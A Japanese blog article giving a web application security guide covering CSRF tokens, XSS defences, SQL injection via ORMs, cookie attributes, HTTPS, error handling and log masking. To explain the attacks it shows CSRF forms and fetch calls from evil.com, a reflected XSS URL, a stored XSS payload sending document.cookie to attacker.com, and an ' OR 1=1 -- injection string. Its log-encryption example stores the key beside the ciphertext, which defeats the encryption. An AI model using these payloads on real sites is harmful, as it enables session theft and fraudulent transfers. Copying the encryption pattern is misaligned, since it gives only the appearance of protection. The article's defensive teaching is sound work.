Webアプリのセキュリティ強化ガイド:CSRF・XSS・SQL Injection 対策からログ管理まで

2023/05/01に公開

はじめに

Webアプリケーションを開発する際、機能の充実やパフォーマンス向上に目が行きがちですが、セキュリティ対策を怠ると重大な脆弱性を抱えることになります。不適切なセキュリティ設定は、ユーザーデータの漏洩や不正アクセスを招き、信頼を損なう原因になりかねません。

本記事では、実際の開発現場で取り入れるべきセキュリティ対策を具体的に解説します。CSRF・XSS・SQL Injection などの代表的な攻撃への対策や、クッキー設定、HTTPSの統一、エラーメッセージの適切な管理など、Webアプリの安全性を高めるための実践的な手法を網羅しました。これらの対策を適用することで、安全なWebアプリケーションの開発に役立ててください。

CSRF トークンの導入(SameSite 属性の適切な設定)

CSRF(Cross-Site Request Forgery)とは

CSRF(クロスサイトリクエストフォージェリ)は、攻撃者が被害者の認証済みセッションを利用し、不正なリクエストをサーバーに送信する攻撃です。

  • ユーザーが意図しないアクションを実行させられる
  • 攻撃者がユーザーの認証情報(セッション)を悪用
  • サイト間リクエストを悪用し、別のサイトで不正リクエストを発生させる

CSRF攻撃の仕組み(具体例を交えて)

シナリオ:銀行サイトでのCSRF攻撃

  1. 攻撃前の前提
    • ユーザーは**オンラインバンキング(https://bank.example.com)**にログイン済み。
    • ログイン後、サーバーはセッションIDをクッキーとして保存(HttpOnly未設定)。
    • ユーザーのアカウントには送金機能がある。
    • 送金はHTTPリクエストで処理される。

送金API(CSRF脆弱)

POST https://bank.example.com/transfer
Content-Type: application/x-www-form-urlencoded

amount=10000&to_account=123456

サーバーは、クッキー内のセッションIDを確認し、リクエストを認証します。

  1. 攻撃者の準備(3つのパターン)

    • 攻撃者は、自分のサイト(https://evil.com)に悪意のあるHTMLフォームを設置する。
      <form id="csrf-form" action="https://bank.example.com/transfer" method="POST">
        <input type="hidden" name="amount" value="10000">
        <input type="hidden" name="to_account" value="999999">
        <input type="submit" value="Click Here!">
      </form>
      
      <script>
        document.getElementById('csrf-form').submit();
      </script>
      
    • <img>タグを利用しGETリクエストを送信
      <img src="https://bank.example.com/transfer?amount=10000&to_account=999999">
      
    • fetch() を使って非同期にリクエストを送る
      <script>
        fetch("https://bank.example.com/transfer", {
          method: "POST",
          credentials: "include", // クッキーを自動送信
          headers: {
            "Content-Type": "application/x-www-form-urlencoded",
          },
          body: "amount=10000&to_account=999999",
        });
      </script>
      
  2. ユーザーの誘導

    • ユーザーが銀行サイトにログインしたまま、別のタブでhttps://evil.comを開く。
    • evil.comのページを開いた瞬間、<form> や <img> によって銀行サイトに不正リクエストが送信される。
  3. 銀行サーバーの挙動

    • ユーザーはログイン済みのため、クッキーに含まれるセッション情報を利用し、リクエストが正規ユーザーからのものと誤認識。
    • 攻撃者の口座(999999)に1万円が送金される。

なぜCSRFが成立するのか?

CSRFが成立する理由は、主にブラウザのクッキーの自動送信にあります。

  1. 同じオリジンのリクエストでなくても、ブラウザはクッキーを送信する
    • 例えば、https://evil.com から https://bank.example.com へリクエストを送る場合も、ログイン済みならクッキーが送信される。
    • これは、銀行サイトのクッキーがSameSite=Noneで設定されている場合に特に危険。
  2. リクエスト自体にユーザーの意図が不要
    • ユーザーがフォームを送信しなくても、<img><script>などを使ってリクエストを送信可能。
  3. リクエストの送信元が正しいかをサーバーが確認していない
    • 銀行サイトは、リクエストの「発信元(Origin)」をチェックせず、クッキー情報のみで認証を行っている。

CSRFの影響

CSRF攻撃は、以下のようなサイトで特に危険です。例えば、管理画面でのCSRFは、攻撃者が管理者に不正なリクエストを送らせることで、権限変更やユーザー削除が行われるリスクがあります。

サイトの種類 CSRF攻撃の影響
インターネットバンキング 口座から不正送金される
ECサイト ユーザーの支払い情報を変更、勝手に購入される
SNS・掲示板 勝手に投稿やコメントがされる
企業の管理画面 社員のアカウントが削除されたり、設定が変更される

CSRF対策

CSRF攻撃を防ぐために、以下の対策を講じる必要があります。

対策 説明
CSRFトークン(推奨) フォーム送信時にランダムなトークンを付与し、サーバーで検証する
SameSiteクッキーの設定 SameSite=Lax もしくは Strict に設定し、クロスサイトでのクッキー送信を防ぐ
Referer / Origin ヘッダーのチェック リクエストの出元(RefererやOrigin)を確認し、正規サイト以外からのリクエストを拒否
認証済みAPIには POST/PUT/DELETE のみ使用 GETリクエストでは重要な操作を行わない
CORS設定の厳格化 信頼できるオリジンのみ許可する

以下に具体的な対策方法をご紹介します。

CSRFトークン

CSRFトークンとは、ユーザーのリクエストが正規のものであることを確認するために、フォーム送信時にサーバーが生成・検証するランダムなトークンです。

トークンの仕組み

  1. サーバー側
    • サーバーはユーザーごとに一意のCSRFトークンを生成し、ページに埋め込む
    • トークンはクッキーまたはHTMLの隠しフィールドとして送信
    • フォーム送信時にトークンが含まれているかを検証
  2. クライアント側
    • クライアントはフォームやAJAXリクエストにCSRFトークンを含める
    • JavaScriptでHTTPリクエストのheadersにCSRFトークンを追加することも可能

Express + csurf を利用した実装

Express環境では、csurf ミドルウェアを使用してCSRF対策を導入できます。

import express from 'express';
import csrf from 'csurf';
import cookieParser from 'cookie-parser';

const app = express();

// Cookieを利用するためのミドルウェア
app.use(cookieParser());

// CSRFミドルウェアを適用(CSRFトークンをCookieに保存)
app.use(csrf({ cookie: true }));

// CSRFトークンをクライアントに送信するエンドポイント
app.get('/csrf-token', (req, res) => {
  res.json({ csrfToken: req.csrfToken() });
});

// フォーム送信時のCSRFトークン検証
app.post('/submit', (req, res) => {
  res.send('フォームが正常に送信されました');
});

app.listen(3000, () => console.log('Server running on http://localhost:3000'));

クライアント側では、取得したCSRFトークンをリクエストヘッダーに追加して送信します。

async function submitForm(data) {
  const csrfRes = await fetch('/csrf-token');
  const { csrfToken } = await csrfRes.json();

  await fetch('/submit', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'X-CSRF-Token': csrfToken,
    },
    body: JSON.stringify(data),
  });
}

SameSiteクッキーの設定

CSRF攻撃の多くは、異なるオリジン(ドメイン)からのリクエストを悪用します。
これを防ぐために、クッキーのSameSite属性を適切に設定することが重要です。

SameSite属性のオプション

  • SameSite=Strict
    • 完全にクロスサイトのリクエストを拒否
    • 他のサイトからのリクエストではクッキーが送信されない
    • デメリット: サイト間連携が必要なケース(外部リンクからのアクセスなど)では不便
  • SameSite=Lax(推奨)
    • 基本的なナビゲーション時は許可
    • クロスサイトのGETリクエストにはクッキーが送信される
    • POSTなどのリクエストではクッキーが送信されないため、CSRF対策に有効
  • SameSite=None; Secure
    • 完全なクロスサイト対応が必要な場合に設定
    • すべてのリクエストでクッキーが送信されるが、HTTPSが必須
    • デメリット: 安全性の確保が難しく、適切なCSRF対策と組み合わせる必要がある

Expressでの設定

クッキーのSameSite属性を適用するには、cookie-sessioncookie-parser を使用して適切に設定します。

import session from 'cookie-session';

app.use(
  session({
    name: 'session',
    keys: ['secret_key'],
    cookie: {
      secure: true, // HTTPSのみ
      httpOnly: true, // JavaScriptからアクセス不可
      sameSite: 'lax', // CSRF対策として適切
    },
  })
);

Referer / Origin ヘッダーのチェック

app.use((req, res, next) => {
  const allowedOrigins = ['https://example.com'];
  const origin = req.get('Origin') || req.get('Referer');
  if (!origin || !allowedOrigins.includes(new URL(origin).origin)) {
    return res.status(403).send('Forbidden');
  }
  next();
});

ポイント

  • リクエストのOriginRefererが正当なものであるかをサーバー側で検証
  • CSRF以外のセキュリティリスクにも有効

CORS設定の厳格化

import cors from 'cors';

app.use(
  cors({
    origin: 'https://example.com', // 許可するオリジン
    credentials: true, // クッキーを送信可能にする
  })
);
  • 信頼できるオリジンのみ許可
  • クッキーを使用する場合はcredentials: includeを設定

XSS 対策として DOMPurify や helmet の導入

XSS(Cross-Site Scripting)とは

XSS(クロスサイトスクリプティング)は、攻撃者が悪意のあるスクリプトをアプリケーションに注入し、ユーザーのブラウザ上で実行させる攻撃手法です。主に以下の3種類があります。

  • 反射型(Reflected XSS)
    攻撃者が特定のURLに悪意のあるスクリプトを埋め込み、ユーザーがそのURLにアクセスするとスクリプトが実行される。
  • 格納型(Stored XSS)
    悪意のあるスクリプトがデータベースなどに保存され、アプリケーションを通じて複数のユーザーに配信される。

反射型(Reflected XSS)の具体的な事例

前提

Webアプリ(XSS対策がされていないサイト)には「検索機能」があり、検索キーワードをURLのパラメータで受け取って、そのまま表示する仕組みになっている。
しかし、適切なエスケープ処理がされておらず、スクリプトを挿入できる脆弱性がある。

1. 攻撃者が悪意のある URL を作成

攻撃者は、検索機能があるサイトに対して、スクリプトを埋め込んだ URL を作成する。

通常の検索URL

https://example.com/search?q=car

攻撃者が仕込むURL

https://example.com/search?q=<script>alert('XSS攻撃成功!');</script>

2. URL を被害者に送る

攻撃者は、以下のような方法で被害者にこの URL を踏ませる。

  • SNSやメールで「お得な情報はこちら!」と偽装して送る
  • 掲示板やコメント欄に「このサイト見て!」と投稿する
  • 短縮URL(bit.ly など)を使ってURLを隠す

3. 被害者が URL を開く

被害者が騙されて URL を開くと、WebアプリはリクエストのパラメータをそのままHTMLに埋め込むため、悪意のあるスクリプトが実行される。

const urlParams = new URLSearchParams(window.location.search);
const searchQuery = urlParams.get("q");

// ここが脆弱!スクリプトがそのままHTMLに埋め込まれる!
document.write(`<h1>検索結果: ${searchQuery}</h1>`);

被害者の画面(実際に表示されるHTML)

<h1>検索結果: <script>alert('XSS攻撃成功!');</script></h1>

ただのアラートを表示するだけであれば具体的な被害はありませんが、実際にはクッキー(セッション情報)を攻撃者のサーバーに送信するような悪質なスクリプトを埋め込まれるケースがあります。

その場合はURLを開くと攻撃者にクッキーを渡すことなり、攻撃者はそのクッキーを使って被害者になりすまし、ログイン状態を乗っ取ることができます。

格納型(Stored XSS)の具体的な事例

悪意のあるスクリプトがデータベースに保存され、他のユーザーがアクセスしたときに実行される 手法です。
攻撃者が一度仕掛ければ、被害者がそのページを閲覧するたびに実行されるため、反射型よりも危険度が高い です。

前提

脆弱な掲示板(コメント欄)を設置しており登録した内容をそのままDBに保存しリクエストがあるとそのまま表示

document.getElementById('comments').innerHTML = commentFromDB;

1. 攻撃者がコメント欄に以下のような悪意のあるスクリプトを掲示板に投稿

<script>fetch('https://attacker.com/steal-cookie', {method: 'POST', body: document.cookie});</script>

2. このスクリプトがデータベースに保存される。

3. 他のユーザーが掲示板を開くたびに、スクリプトが実行され、攻撃者のサーバーにクッキーが送信される。

4. 攻撃者はクッキーを盗み、セッションを乗っ取る。

XSS対策

  1. innerHTMLdocument.write を使わない
    const safeQuery = document.createTextNode(searchQuery);
    document.getElementById("result").appendChild(safeQuery);
    
  2. DOMPurify を使ってサニタイズ
    import DOMPurify from 'dompurify';
    const safeHTML = DOMPurify.sanitize(searchQuery);
    document.getElementById("result").innerHTML = safeHTML;
    
  3. Content Security Policy(CSP) を設定
    Expressで設置する場合
    app.use(helmet.contentSecurityPolicy({
      directives: {
        defaultSrc: ["'self'"],
        scriptSrc: ["'self'"]
      },
    }));
    

CSPについて詳しく解説

helmet.contentSecurityPolicy() は、 Content Security Policy(CSP) というセキュリティヘッダーを設定するための helmet のミドルウェアです。
CSP は、 スクリプトの読み込みを制限することで XSS(クロスサイトスクリプティング)攻撃を防ぐ ための仕組みです。

helmet.contentSecurityPolicy() の基本構造

helmet.contentSecurityPolicy()directives(指令)を指定することで、どのリソースを許可するか を細かく制御できます。

app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'"]
  }
}));

defaultSrc

    defaultSrc: ["'self'"],
  • これは すべてのリソース(スクリプト・画像・CSS・フォントなど)に適用されるデフォルトのポリシー を指定します。
  • "'self'" は 同じオリジン(自サイトのドメイン)からのリソースのみ許可 することを意味します。
<!-- ✅ 許可される(同じオリジン) -->
<img src="/images/logo.png">
<script src="/js/app.js"></script>

<!-- ❌ 許可されない(外部サイト) -->
<img src="https://cdn.example.com/logo.png">
<script src="https://malicious-site.com/hack.js"></script>

このように設定することで悪意のあるサイトへのリクエスト送信を防ぐことができます。

scriptSrc

scriptSrc: ["'self'"]
  • これはJavaScript(<script> タグ)の読み込みを制限 するポリシー
  • "'self'" を指定すると、自サイト(オリジン)内のスクリプトのみ実行可能 になる。
  • 外部のCDNやインラインスクリプトの実行はデフォルトで禁止!
<!-- ✅ 許可される(自サイトのスクリプト) -->
<script src="/js/main.js"></script>

<!-- ❌ 許可されない(外部サイトのスクリプト) -->
<script src="https://cdn.example.com/framework.js"></script>

<!-- ❌ 許可されない(インラインスクリプト) -->
<script>alert('XSS攻撃');</script>

上記のdefaultSrcと同様にこのように設定することで悪意のあるサイトへのリクエスト送信を防ぐことができます。

外部リソースを許可する方法

実際のプロジェクトでは、Google Fonts や CDN など外部リソースを使うことがあります。 そういった場合、CSP を少し緩和して特定の外部ドメインを許可する ことができます。

例)Google Fonts を許可

app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    styleSrc: ["'self'", "https://fonts.googleapis.com"],
    fontSrc: ["'self'", "https://fonts.gstatic.com"]
  }
}));

この設定により許可されるリソース

<link href="https://fonts.googleapis.com/css2?family=Roboto&display=swap" rel="stylesheet">

CSP レポートを取得する方法

CSP の影響でスクリプトがブロックされた場合、その情報をサーバーに送ることができます。

app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'"],
    reportUri: "/csp-report"
  }
}));

サーバー側で /csp-report エンドポイントを用意し、エラー情報をログに記録することで、どのスクリプトがブロックされたのかを把握することができます。

SQL Injection を防ぐための ORM (Prisma, TypeORM) の適用

SQLインジェクションは、SQLクエリを悪用してデータベースを不正に操作する攻撃手法です。攻撃者がSQLクエリを操作し、意図しないデータの取得・改ざん・削除を行うリスクがあります。

ORM(Object-Relational Mapping)を利用することで、SQLインジェクションのリスクを軽減できます。特に Prisma や TypeORM などのORMを使用すると、プレースホルダー(バインドパラメータ)を使った安全なクエリが自動的に適用され、直接SQLを記述するよりもセキュアなデータ操作が可能になります。

危険なSQLクエリの例

SQLクエリを直接実行するコードの場合、攻撃者がOR 1=1 などと書いた場合に WHERE 句が常に true になり、データベースのすべてのユーザー情報が取得される可能性があります。

const userInput = "' OR 1=1 --";
const query = `SELECT * FROM users WHERE email = '${userInput}'`;

ORMを活用したSQL Injection 対策

ORMを使用すると、SQLインジェクションを防ぐために プレースホルダー(バインドパラメータ) を利用し、直接SQLを組み立てることを避けられます。

Prisma の場合

const user = await prisma.user.findUnique({
  where: { email: inputEmail }
});

このコードを実行すると、Prisma は プレースホルダー を使ってデータベースにクエリを送ります。

内部的には、次のような バインド付きクエリ に変換されます。

SELECT * FROM users WHERE email = ?;

この ? の部分に 安全にエスケープされた inputEmail の値 がバインドされます。

つまり、inputEmail"' OR 1=1 --" のような悪意のある文字列を入れたとしても、データベースはそれを単なる 文字列として処理 し、不正なSQLコードとしては扱いません。

TypeORM の場合

const user = await userRepository.findOne({ where: { email: inputEmail } });

TypeORM でも同様に、安全なSQLが内部で生成されます。

実際には、次のような プレースホルダー付きクエリ が実行されます。

SELECT * FROM users WHERE email = ?;

入力バリデーション(Zod / Yup を利用)

入力バリデーションを適切に実装することで、不正なデータの流入を防ぎ、システムの安全性とデータ整合性を保つことができます。
ZodYup は、フロントエンドおよびバックエンドでフォームや API のデータ検証に広く使われています。

Zod を利用したバリデーション

特徴

  • TypeScript の型安全性を最大限に活かせる
  • parse() メソッドを使用すると、型推論とバリデーションを同時に行える
  • safeParse() メソッドを使えば、エラー時にも例外を投げずに結果を取得できる
  • 組み合わせや拡張が容易(カスタムバリデーションの定義がシンプル)
import { z } from 'zod';

const userSchema = z.object({
  email: z.string().email(),
  password: z.string().min(8),
});

// 入力データを検証
const userInput = { email: "test@example.com", password: "password123" };
userSchema.parse(userInput); // 検証に成功すればエラーなし

Yup を利用したバリデーション

特徴

  • Zod よりも React Hook Form との統合がしやすい
  • .validate() メソッドを使って非同期でバリデーションできる
  • .test() メソッドを使ってカスタムバリデーションを追加可能
  • .required() を明示的に指定しないと必須項目にならない(Zod との違い)
import * as yup from 'yup';

const schema = yup.object({
  email: yup.string().email().required(),
  password: yup.string().min(8).required(),
});

// 入力データを検証
const userInput = { email: "test@example.com", password: "password123" };

schema.validate(userInput)
  .then(() => console.log("バリデーション成功"))
  .catch(err => console.log(err.errors)); // バリデーションエラー時

クッキーの Secure / HttpOnly 属性設定

Web アプリケーションのセキュリティを強化するために、クッキーの Secure および HttpOnly 属性を適切に設定することは非常に重要です。これらの属性を適切に設定することで、クッキーの盗難や不正利用のリスクを軽減できます。

Secure 属性

Secure 属性を設定すると、クッキーは HTTPS(暗号化通信)経由 でのみ送信されます。
HTTP(非暗号化通信)ではクッキーが送信されないため、中間者攻撃(MITM)によるクッキーの盗聴を防ぐことができます。

必要な理由

  • HTTPS を使用しない場合、クッキーの内容が盗聴されるリスクがある。
  • セッションハイジャック(Session Hijacking)のリスクを低減できる。
  • クッキーに含まれる 認証情報(セッション ID など) を保護できる。

Express における Secure 設定の例

res.cookie('session_id', 'your-session-value', {
  secure: true, // HTTPS でのみ送信される
  httpOnly: true, // JavaScript からのアクセスを禁止
  sameSite: 'Strict', // CSRF 対策
  path: '/',
});

HttpOnly 属性

HttpOnly 属性を設定すると、JavaScript(document.cookie など)を使ってクッキーの値を取得することができなくなります。

必要な理由

  • XSS(クロスサイトスクリプティング)攻撃 を防ぐ
    • XSS 攻撃では、悪意のある JavaScript を実行してクッキーの情報を盗み取ることが可能。
    • HttpOnly を設定することで、攻撃者が document.cookie を使用してクッキーを読み取るのを防ぐことができる。
  • ユーザーのセッション情報を安全に保護
    • 認証情報(セッション ID など)を含むクッキーが盗まれるのを防ぐ。

クライアントとサーバー間の通信を HTTPS へ統一

HTTP 通信は、盗聴・改ざん・なりすましのリスクがあるため、Web アプリケーションでは すべての通信を HTTPS に統一 するのが一般的です。
これにより、セキュリティが強化され、SEO の評価向上にも寄与します。

SSL/TLS 証明書を取得

HTTPS を有効化するには、まず SSL/TLS 証明書 を取得する必要があります。
証明書は次のような方法で入手できます。

  • 無料の証明書
    • Let's Encrypt(無料・自動更新可)
    • Cloudflare(CDN 経由の HTTPS 化)
  • 有料の証明書
    • AWS Certificate Manager(ACM)(AWS の ELB, CloudFront で利用)
    • 各種有料 SSL サービス(DigiCert, GlobalSign など)

Let's Encrypt の証明書は Certbot を使って簡単に取得できます。
このコマンドを実行すると、自動的に Nginx の設定が変更され、HTTPS が有効になります。

sudo apt update && sudo apt install certbot python3-certbot-nginx -y
sudo certbot --nginx -d example.com -d www.example.com

Web サーバー(Nginx) で HTTPS を有効化

server {
    listen 443 ssl;
    server_name example.com www.example.com;

    ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem;

    location / {
        root /var/www/html;
        index index.html index.htm;
    }
}

ssl_certificatessl_certificate_key に、Let's Encrypt で取得した証明書を指定します。

HTTP から HTTPS へリダイレクト

HTTPS に統一するため、HTTP へのアクセスを自動的に HTTPS にリダイレクトします。

server {
    listen 80;
    server_name example.com www.example.com;
    return 301 https://$host$request_uri;
}

この設定により、HTTP (http://example.com) にアクセスしても、自動的に HTTPS (https://example.com) へリダイレクトされます。

エラーメッセージの適切な制御(詳細情報を開示しない)

エラーメッセージに システム内部の詳細情報(例: データベースのエラーコード、スタックトレース、使用しているライブラリのバージョンなど)を含めると、攻撃者にとって有益な情報となる可能性があります。
例えば、SQLエラーをそのまま表示すると、攻撃者はデータベースの種類や認証方法を推測し、不正アクセスの足がかりにする可能性があります。

ポイント

  • ユーザー向け: ユーザーが適切に対処できる内容のみ表示(例: 「入力内容を確認してください。」)
  • 内部用(ログ): デバッグに必要な詳細情報は、サーバー側のログにのみ記録する
  • セキュリティリスク回避: SQLエラーやスタックトレースは直接表示しない

不適切なエラーメッセージの例

SQLSTATE[28000]: Invalid authorization specification: 1045 Access denied for user 'admin'@'localhost'

問題点

  • 認証エラーの詳細が漏れる
  • ユーザー名 'admin' が知られてしまう
  • データベースの種類(SQLSTATE)やエラーコードが攻撃者に伝わる

適切なエラーメッセージの例

認証に失敗しました。ユーザー名またはパスワードを確認してください。

理由

  • ユーザーが対処しやすい内容のみを伝える
  • 内部情報が漏れない
  • 攻撃者にとって有用な情報を与えない

Express.js でのエラーハンドリング実装

import { Request, Response, NextFunction } from 'express';

// エラーハンドリングミドルウェア
const errorHandler = (err: Error, req: Request, res: Response, next: NextFunction) => {
  console.error(err.stack); // サーバー側のログに詳細を記録

  res.status(500).json({
    message: '内部エラーが発生しました。'
  });
};

export default errorHandler;

この errorHandlerapp.tsserver.ts でミドルウェアとして登録します。

import express from 'express';
import errorHandler from './middlewares/errorHandler';

const app = express();

// ルート定義(例)
app.get('/', (req, res) => {
  throw new Error('テストエラー'); // 強制的にエラーを発生
});

// エラーハンドリングミドルウェアの登録(必ず最後に)
app.use(errorHandler);

const PORT = 3000;
app.listen(PORT, () => {
  console.log(`Server running on http://localhost:${PORT}`);
});

ポイント

  • Error 型を指定し、エラーハンドラーで確実にエラーを処理
  • console.error(err.stack); で 内部ログの記録(本番環境ではロガーを使うのも可)
  • res.status(500).json({ message: '内部エラーが発生しました。' }); で ユーザーには詳細を隠す
  • ミドルウェアとして app.use(errorHandler); を ルート定義の後 に登録する

ユーザーエラー(400系)とサーバーエラー(500系)を分ける

まず、AppError クラスを作成し、エラーの種類(HTTP ステータスコード)を管理します。

utils/AppError.ts
class AppError extends Error {
  public statusCode: number;

  constructor(message: string, statusCode: number) {
    super(message);
    this.statusCode = statusCode;
    Object.setPrototypeOf(this, new.target.prototype); // 正しくプロトタイプチェーンを設定
  }
}

export default AppError;

この AppError クラスは、カスタムエラーハンドリングを行うためのクラスです。標準の Error クラスを拡張して、追加のプロパティ(statusCode)を持たせることで、HTTP ステータスコードを管理できるようにしています。

次に、エラーが AppError のインスタンスならユーザーエラー(400系)として処理し、それ以外はサーバーエラー(500系)として適切に処理します。

middlewares/errorHandler.ts
import { Request, Response, NextFunction } from 'express';
import AppError from '../utils/AppError';

const errorHandler = (err: Error, req: Request, res: Response, next: NextFunction) => {
  console.error(err.stack); // サーバー側のログにエラーを記録

  // AppError のインスタンスなら、そのステータスコードを使用
  const statusCode = err instanceof AppError ? err.statusCode : 500;
  const message =
    statusCode >= 500 ? '内部エラーが発生しました。' : err.message;

  res.status(statusCode).json({ message });
};

export default errorHandler;

ログの適切な管理(機密情報を含まないようにフィルタリング)

ログには、ユーザーの個人情報や認証情報が含まれないように注意する必要があります。適切なログ管理を行うことで、セキュリティリスクを低減し、コンプライアンス要件を満たすことができます。

ログ管理の基本方針

  • 記録すべき情報
    • システムエラー・例外情報
      例: APIのレスポンスエラー、データベース接続エラーなど
    • ユーザー操作の概要(機密情報を除く)
      例: ユーザーが特定のページを閲覧した、設定を変更した など
    • システムの状態
      例: サーバーの起動・終了、特定のジョブの実行状況
  • 記録してはいけない情報
    • パスワードや認証情報
    • クレジットカード情報や個人情報(氏名、メールアドレスなど)
    • OAuthトークンやセッションID
    • 機密データ(機密文書の内容、個人の財務情報など)

Winston(Node.js ログライブラリ)を活用

機密情報をログに含めないために、カスタムフォーマットを導入し、ログに出力する前にデータをマスク します。

import winston from 'winston';

// 機密情報を含む可能性のあるキー
const sensitiveFields = ['password', 'creditCard', 'token'];

const maskSensitiveData = (info: Record<string, any>): Record<string, any> => {
  const maskedInfo = { ...info };
  for (const field of sensitiveFields) {
    if (maskedInfo[field]) {
      maskedInfo[field] = '***REDACTED***';
    }
  }
  return maskedInfo;
};

// Winston カスタムフォーマット
const filterSensitiveData = winston.format((info) => {
  return maskSensitiveData(info);
});

const logger = winston.createLogger({
  level: 'info',
  format: winston.format.combine(
    filterSensitiveData(),
    winston.format.timestamp(),
    winston.format.json()
  ),
  transports: [new winston.transports.Console()],
});

// サンプルログ
logger.info('ユーザー登録', { email: 'user@example.com', password: 'securepassword123' });

出力例

{
  "level": "info",
  "message": "ユーザー登録",
  "email": "user@example.com",
  "password": "***REDACTED***",
  "timestamp": "2025-03-12T12:00:00.000Z"
}

ログレベルの適切な設定

開発環境と本番環境では、適切なログレベルを設定し、詳細なデバッグ情報が本番環境に漏れないようにする ことが重要です。

const logger = winston.createLogger({
  level: process.env.NODE_ENV === 'production' ? 'warn' : 'debug',
  format: winston.format.json(),
  transports: [
    new winston.transports.File({ filename: 'app.log', level: 'info' }),
    new winston.transports.Console(),
  ],
});

// ログ出力の例
logger.debug('デバッグ情報: 変数xの値', { x: 42 });
logger.warn('警告: APIのレスポンスが遅い');
logger.error('致命的エラー: DB接続に失敗');

ポイント

  • 開発環境: debug レベルで詳細な情報を記録
  • 本番環境: warnerror のみを記録して ログの肥大化を防ぐ

ログの暗号化

万が一、ログが外部に流出しても、機密データを安全に保つために暗号化 する方法も検討します。

import crypto from 'crypto';
import fs from 'fs';

const encryptLog = (logMessage: string): string => {
  const algorithm = 'aes-256-cbc';
  const key = crypto.randomBytes(32);
  const iv = crypto.randomBytes(16);

  const cipher = crypto.createCipheriv(algorithm, key, iv);
  let encrypted = cipher.update(logMessage, 'utf8', 'hex');
  encrypted += cipher.final('hex');

  return JSON.stringify({ encrypted, key: key.toString('hex'), iv: iv.toString('hex') });
};

// ログの暗号化と保存
const logData = '機密情報を含むログメッセージ';
const encryptedLog = encryptLog(logData);
fs.writeFileSync('secure-log.json', encryptedLog);

セキュリティスキャンツール(OWASP ZAP, SonarQube)の導入

アプリケーションのセキュリティを強化するためには、静的解析(SAST)と動的解析(DAST)の両方を適用するのが効果的です。ここでは、**OWASP ZAP(DAST)とSonarQube(SAST)**の導入・設定・活用方法を詳しく解説します。

OWASP ZAP(動的セキュリティテスト)

OWASP ZAP(Zed Attack Proxy)は、実行中のWebアプリケーションに対してセキュリティスキャンを行う動的解析ツール(DAST)です。主に以下の機能を備えています。

  • 自動スキャン: 事前設定なしで、アプリの一般的な脆弱性を検出
  • 手動テスト: 開発者・セキュリティエンジニアが特定のページや入力フィールドを手動でテスト
  • 脆弱性検出:
    • SQLインジェクション
    • クロスサイトスクリプティング(XSS)
    • CSRF(クロスサイトリクエストフォージェリ)
    • ディレクトリトラバーサル
    • セキュリティヘッダーの欠如

https://www.zaproxy.org/

Docker での実行(GUI 版)

docker run -u zap -p 8080:8080 -i owasp/zap2docker-stable zap-webswing.sh

実行後に以下の URL にアクセス

http://localhost:8080

SonarQube(静的コード解析)

SonarQube は、コードの品質やセキュリティを解析する静的解析ツール(SAST)であり、以下のような問題を検出します。

  • セキュリティリスク
    • SQL インジェクション
    • ハードコードされた認証情報
    • OS コマンドインジェクション
    • セキュリティ関連ヘッダーの欠如
  • コードの品質
    • コードの重複
    • 複雑すぎる関数
    • 使われていない変数
  • リントエラー
    • TypeScript, JavaScript, Java, Python などの言語サポート

https://www.sonarsource.com/jp/products/sonarqube/

SonarQube のセットアップ(Docker 使用)

docker run -d --name sonarqube -p 9000:9000 sonarqube

実行後に以下の URL にアクセス

http://localhost:9000

さいごに

Webアプリケーションのセキュリティ対策は、一度実施すれば終わりではなく、継続的な見直しと改善が必要です。新たな脅威が日々生まれる中で、適切なセキュリティ対策を維持するためには、定期的なコードレビューやセキュリティスキャンの実施が重要になります。

本記事で紹介した対策を取り入れることで、多くの一般的な攻撃を防ぐことができますが、セキュリティは「100% 完璧」という状態にはなりません。常に最新の情報をキャッチアップし、開発チーム全体でセキュリティ意識を高めることが、安全なWebアプリケーションを提供し続けるための鍵となります。

開発のスピードを落とさず、適切なセキュリティ対策を実践しながら、安全なアプリケーションを構築していきましょう。

記事に関するお問い合わせ📝

記事の内容に関するご質問、ご意見などは、下記よりお気軽にお問い合わせください。
ご質問フォームへ

技術支援などお仕事に関するお問い合わせ📄

技術支援やお仕事のご依頼に関するお問い合わせは、下記よりお気軽にお問い合わせください。
お問い合わせフォームへ

関連する技術ブログ